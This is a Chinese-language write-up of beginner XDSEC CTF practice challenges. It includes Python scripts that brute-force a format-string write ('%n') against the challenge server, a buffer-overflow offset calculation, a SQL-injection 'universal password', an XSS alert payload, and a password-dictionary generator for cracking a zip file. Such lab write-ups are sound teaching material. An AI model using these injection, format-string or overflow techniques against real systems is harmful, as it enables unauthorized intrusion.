XDSEC 西电CTF练习题WriteUp

XDSEC 西电CTF练习题WriteUp

西电ctf练习题地址(http://moectf.xdsec.club)

PPC

1丶算术天才琪露洛(200)

这题原意是要我们编程实现,但经过分析发现,每次输入9都会是正确的。。
这里写图片描述
①题目说有99道题,那么输入99次就可以得到flag了。。
这里写图片描述
②当然上面是笨方法,我们也可以写个脚本爆破。。

#coding=utf-8
import socket

def client_sender():
    client = socket.socket()
    client.connect(('123.206.66.98', 10001))
    for i in range(0,100):
        send_data = '9\n'
        print client.recv(1024)
        client.send(send_data)
    client.close()
def main():
    client_sender()
main()

2丶猜数游戏(500)

不会,学习一波会了在来更新-^-..

PWN

1.PWNO(100)

下载提供的c代码,分析下应该是数组越界
这里写图片描述
定义的字符数组只能容纳20个数组,但scanf对我们的输入却没有进行限制,输出超出20个字符就会造成数组越界,尝试输入21个1得到了flag。。
这里写图片描述

2.Easy bof(300)

一个简单缓冲区溢出,分析如下图所示:
这里写图片描述
那么要想覆盖到key变量的地址,我们就得用ida分析获取输入的地址和key地址的相对差值了。。
下载2进制文件,拖入ida。。
这里写图片描述
这里写图片描述
得到s的地址为-28,a1的地址为8,8-(-28)得到需要覆盖的字节为48
直接用python生成字符串提交得到flag。。
这里写图片描述

3丶FSB(500)

格式化输入漏洞,可以利用%x来flag变量所在的位置,然后用%n来修改该位置的值,位置可以用爆破,那就写段py脚本爆破吧!

#coding=utf-8
import socket

def client_sender():
    for i in range(1,100):
        client = socket.socket()
        client.connect(('123.206.66.98', 23333))
        send_data = '%2000c%'+str(i)+'$n\n'
        client.send(send_data)
        print '进行第'+str(i)+'尝试,尝试结果为:'+client.recv(1024)
        --i
        client.close()
def main():
    client_sender()
main()

在21和31处都可得到flag。。
这里写图片描述
这里写图片描述

WEB

1丶where is flag?(10)

直接查看源代码
这里写图片描述

2丶饼干(30)

根据提示,flag应该在cookie里面
这里写图片描述
抓包查看cookie得到flag
这里写图片描述
根据(hint:如果你觉得得到的FLAG不太对劲的话,查查什么是URL编码),要将%7B和%7D进行一下编码转换,得到最终的flag:XDSEC{c00kie_1s_Del1ciou5}

3丶机器人(30)

根据提示直接访问robots.txt得到flag
这里写图片描述

4丶GET(50)

根据提示直接get flag参数设置值为1得到flag
这里写图片描述

5丶POST(80)

跟上一题差不多,只是把get变成post,这里我用的火狐的hackbor提交的post数据
这里写图片描述

6丶PHP是世界最好的语言(100)

访问题目页面,发现是一段PHP代码
这里写图片描述
分析发现它会get flag参数的值然后和WUU1 base64解码后的值进行比较,相等就输出flag。
解码WUU1为YE5
这里写图片描述
对题目页面发送get请求,参数为flag,值为YE5,得到flag
这里写图片描述

7丶SQL注入1(150)

根据提示万能密码,直接在密码输入:

or '1'='1

得到flag
这里写图片描述

8丶XSS测试(150)

最简单的xss,把alert的值改成要求的就可以得到flag,即输入如下值提交:

<script>alert(_key_)</script

这里写图片描述

9丶SQL注入2(300)

RE

1丶RE1(100)

下载提供的exe文件,直接拖进ida进行分析,找到main函数,用快捷键F5将汇编转为伪C
这里写图片描述
分析下,就是获取输入的字符串和上面v4到v11变量的值连接成的值进行比较,相同就输出正确提示,根据char我们可以看出v4到v11这几个变量的值应该都是字符串,将变量值用R快捷键转换成字符。
这里写图片描述
将v4到v11变量的值连接起来应该就是flag了,但windows的程序都是用的小端字节序,所以要将每个变量的值倒过来排序,比如v4的值为”ESDX”倒过来就是”XDSE”,最后得到flag:XDSEC{ida_is_useful_in_reverse}

2丶RE2(200)

跟上题一样,下载提供的exe文件,直接拖进ida进行分析,找到main函数,用快捷键F5将汇编转为伪C,得到如下代码:

__int64 __fastcall main(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx@1
  __int64 v3; // rdx@1
  __int64 v4; // rdx@1
  char c[29]; // [sp+20h] [bp-70h]@1
  char b[29]; // [sp+40h] [bp-50h]@1
  char flag[29]; // [sp+60h] [bp-30h]@1
  int sym; // [sp+88h] [bp-8h]@1
  int i; // [sp+8Ch] [bp-4h]@1

  _main();
  b[0] = 87;
  b[1] = 67;
  b[2] = 82;
  b[3] = 68;
  b[4] = 66;
  b[5] = 122;
  b[6] = 113;
  b[7] = 100;
  b[8] = 96;
  b[9] = 99;
  b[10] = 94;
  b[11] = 98;
  b[12] = 110;
  b[13] = 99;
  b[14] = 100;
  b[15] = 94;
  b[16] = 104;
  b[17] = 114;
  b[18] = 94;
  b[19] = 100;
  b[20] = 114;
  b[21] = 114;
  b[22] = 100;
  b[23] = 109;
  b[24] = 115;
  b[25] = 104;
  b[26] = 96;
  b[27] = 107;
  b[28] = 124;
  c[0] = 15;
  c[1] = 7;
  c[2] = 1;
  c[3] = 1;
  c[4] = 1;
  c[5] = 1;
  c[6] = 3;
  c[7] = 1;
  c[8] = 1;
  c[9] = 7;
  c[10] = 1;
  c[11] = 1;
  c[12] = 1;
  c[13] = 7;
  c[14] = 1;
  c[15] = 1;
  c[16] = 1;
  c[17] = 1;
  c[18] = 1;
  c[19] = 1;
  c[20] = 1;
  c[21] = 1;
  c[22] = 1;
  c[23] = 3;
  c[24] = 7;
  c[25] = 1;
  c[26] = 1;
  c[27] = 7;
  c[28] = 1;
  i = 0;
  sym = 1;
  puts(a1, a2, v2, "欢迎来到re200,请输入flag:");
  gets(a1, a2, v3, flag);
  while ( sym && i <= 28 )
  {
    v4 = (unsigned __int8)b[i] ^ (unsigned int)(unsigned __int8)flag[i];
    //判断b数组和输入的字符串(即字符数组)进行异或操作后是否等于c数组的值
    if ( ((unsigned __int8)b[i] ^ (unsigned __int8)flag[i]) != c[i] )
      sym = 0;
    ++i;
  }
  //如果b数组对应成员和输入的字符串(即字符数组)对应字符进行异或操作后是否等于c数组对应成员值,sym就等于0
  //等于0就输出正确提示
  if ( sym )
    printf(a1, a2, v4, "\n恭喜,你找到的是正确的flag!继续加油");
  else
    printf(a1, a2, v4, "flag有误哦,要不再试试?");
  return 0LL;
}

关键的地方已给出注释,可以看出只要将b数组和c数组进行异或操作就可以得到flag,那写段C来完成操作吧!

#include <stdio.h>

int main()
{
    char b[] = "WCRDBzqd`c^bncd^hr^drrdmsh`k|";
    int c[] = {15,7,1,1,1,1,3,1,1,7,1,1,1,7,1,1,1,1,1,1,1,1,1,3,7,1,1,7,1};

    int a;
    for (int i = 0; i < 29; i++)
    {
        a = b[i] ^ c[i];
        printf("%c", a);
    }
    printf("\n");

    system("pause");
    return 0;
}

运行得到flag
这里写图片描述

3丶你是拥有霸王色运气的萌新吗?(300)

这题还是一样,也用ida来分析,但这次关键点没在main函数里面而是在game()里面
这里写图片描述
game()函数转成伪C代码如下:

char game()
{
  unsigned int v0; // eax@4
  char *v1; // eax@10
  char v3[24]; // [sp+1Fh] [bp-A9h]@2
  int v4[24]; // [sp+37h] [bp-91h]@1
  char v5; // [sp+97h] [bp-31h]@16
  int v6; // [sp+98h] [bp-30h]@12
  char v7; // [sp+9Fh] [bp-29h]@11
  int v8; // [sp+A0h] [bp-28h]@11
  int v9; // [sp+A4h] [bp-24h]@4
  int v10; // [sp+A8h] [bp-20h]@1
  int i; // [sp+ACh] [bp-1Ch]@1

  v10 = 0;
  v4[0] = *(_DWORD *)aZ_1;
  v4[23] = *(_DWORD *)&aZ_1[92];
  qmemcpy(
    (void *)((unsigned int)&v4[1] & 0xFFFFFFFC),
    (const void *)(aZ_1 - ((char *)v4 - ((unsigned int)&v4[1] & 0xFFFFFFFC))),
    4 * ((((unsigned int)&v4[24] - ((unsigned int)&v4[1] & 0xFFFFFFFC)) & 0xFFFFFFFC) >> 2));
  for ( i = 0; i <= 23; ++i )
    v3[i] = v4[i];
  v0 = time(0);
  srand(v0);
  puts("掷个6?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
  //获取输入
  v9 = getch();
  //产生随机数
  v10 = random();
  //判断v10是否等于1,2,3,4,5,6中任意数,等于则输出一个字符串,不等于则返回传入值
  showpoint(v10);
  //判断v10是否等于6
  if ( v10 != 6 )
  //结束程序
    gameover();
  gamewin();
  puts("掷个4?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
  v9 = getch();
  v10 = random();
  showpoint(v10);
  if ( v10 != 4 )
    gameover();
  gamewin();
  puts("掷个2?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
  v9 = getch();
  v10 = random();
  showpoint(v10);
  if ( v10 != 2 )
    gameover();
  gamewin();
  puts("掷个1?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
  v9 = getch();
  v10 = random();
  showpoint(v10);
  if ( v10 != 1 )
    gameover();
  gamewin();
  puts("掷个3?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
  v9 = getch();
  v10 = random();
  showpoint(v10);
  if ( v10 != 3 )
    gameover();
  gamewin();
  puts("掷个5?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
  v9 = getch();
  v10 = random();
  showpoint(v10);
  if ( v10 != 5 )
    gameover();
  LOBYTE(v1) = puts("哇,不知道你是霸王色运气还是技术好呢,总之恭喜啦,为你献上flag:");
  for ( i = 0; i <= 14997; i += 3 )
  {
    v8 = (unsigned __int8)ida[i];
    v7 = ida[i + 2];
    LOBYTE(v1) = v8;
    switch ( v8 )
    {
      case 1:
        v6 = (unsigned __int8)ida[i + 1];
        v1 = &v3[v6];
        v3[v6] += v7;
        break;
      case 2:
        v6 = (unsigned __int8)ida[i + 1];
        v1 = &v3[v6];
        v3[v6] -= v7;
        break;
      case 3:
        v6 = (unsigned __int8)ida[i + 1];
        LOBYTE(v1) = v7 ^ v3[v6];
        v3[v6] = (char)v1;
        break;
      case 4:
        v6 = (unsigned __int8)ida[i + 1];
        v1 = &v3[v6];
        v3[v6] *= v7;
        break;
      case 5:
        v6 = (unsigned __int8)ida[i + 1];
        v5 = ida[i + 2];
        v1 = &v3[v6];
        v3[v6] ^= ida[i + 2];
        break;
      default:
        continue;
    }
  }
  for ( i = 0; i <= 23; ++i )
    LOBYTE(v1) = putchar(v3[i]);
  return (unsigned int)v1;
}

分析可以发现,这个函数首先会进行6次生成随机数并进行判断,只有6次随机值等于预设值才会生成flag,这下知道为什么题目说要拥有霸王色运气了吧^-^!
这个的话我们就可以在第一次进行比较前下断点,然后修改EIP到第一个for的地址,直接跳过6次判断直接生成flag输出了。。
ida支持在伪C代码里面直接下断点
这里写图片描述
这里有个坑就是程序运行完不会暂停,所以要在game()函数的返回处也下个断点,好观察输出的flag
这里写图片描述
下好断点后我们按F9快捷键选择Local win32 debugger,在次按F9就可以进行调试了
程序断下来后,直接修改将ETP的值修改为“mov dword ptr [esp], offset aGmKULGmOZGmKUF ; “哇,不知道你是霸王色运气还”…”这条指令的地址。。
这里写图片描述
在次F9就可以得到flag了
这里写图片描述

MISC

1丶神秘代码(30)

提示为base64,那直接将提供的字符串进行base64解码得到flag

这里写图片描述

2丶神秘代码2(30)

凯撒密码是种移位加密的,直接在线进行变换位置解密,在线解密地址https://www.cryptool.org/en/cto-ciphers/caesar,解密得到flag。。

这里写图片描述

3丶栅栏(30)

栅栏密码加密,直接在线http://www.qqxiuzi.cn/bianma/zhalanmima.php每组字符设为4得到flag
这里写图片描述

4丶杜神给你说flag!(70)

将2.jpg拖进WinHex,发现一串尾部有一串奇怪的字符,=号结尾,怀疑可能是base64编码的。。
这里写图片描述
解码得到flag。。
这里写图片描述

5丶压缩包(70)

根据提示提示,这题应该要暴力破解,密码是XDSEC后面跟上未知9位数字,首先写段C++代码生成符合密码形式的字典。。

#include <fstream>
using namespace std;

int main()
{
    ofstream f1("output.txt");
    int p[9] = {0,0,0,0,0,0,0,0,0};
    for (int a = 0; a<9; a++)
    {
        p[0] = a;
        for (int b = 0; b<10; b++)
        {
            p[1] = b;
            for (int c = 0; c<10; c++)
            {
                p[2] = c;
                for (int d = 0; d<10; d++)
                {
                    p[3] = d;
                    for (int e = 0; e<10; e++)
                    {
                        p[4] = e;
                        for (int f = 0; f<10; f++)
                        {
                            p[5] = f;
                            for (int g = 0; g<10; g++)
                            {
                                p[6] = g;
                                for (int h = 0; h<10; h++)
                                {
                                    p[7] = h;
                                    for (int i = 0; i<10; i++)
                                    {
                                        p[8] = i;
                                        for (int k = 0; k<9; k++)
                                        {
                                            f1 << p[k];
                                        }
                                        f1 << "\nxdsec";
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    f1.close();
    printf("生成字典完成");
    return 0;
}

生成的字典接近13G,费的时间有点长。。
这里写图片描述
用AAPR爆破得到解压密码,解压flag.txt得到flag

这里写图片描述

6丶藏了什么?(100)

很简单的隐写,用binwalk工具分析发现图片里面有个压缩包,压缩包里有个flag.txt。。
这里写图片描述
直接用-e参数分离出压缩包并解压出了flag.txt。。
这里写图片描述
txt文档里面的内容是base64编码了的,解码得到flag。。

7丶这是啥?(100)

提供的是个.pcapng文件,要用Wireshark来分析,过段时间学一下相关知识在来更新-^-)

8丶滑稽(150)

跟misc的第六题一样,先用binwalk分离得到个后缀为mp3的文件。。
这里写图片描述
播放没发现什么问题,拖进WinHex发现头部是PK,猜想可能是个压缩包。。。
这里写图片描述
改后缀名为zip,果然是个压缩包。。
这里写图片描述
根据压缩包里的内容,感觉应该是经过MP3Stego处理的sound.mp3,而paxx.txt里的内容就是解密密码。。
用MP3Stego得到个txt文件,文件内容为”X{hd}DHh_SJ_kEHaiC_so”,是栅栏密码加密的,直接在线http://www.qqxiuzi.cn/bianma/zhalanmima.php每组字符设为5得到flag。。
这里写图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值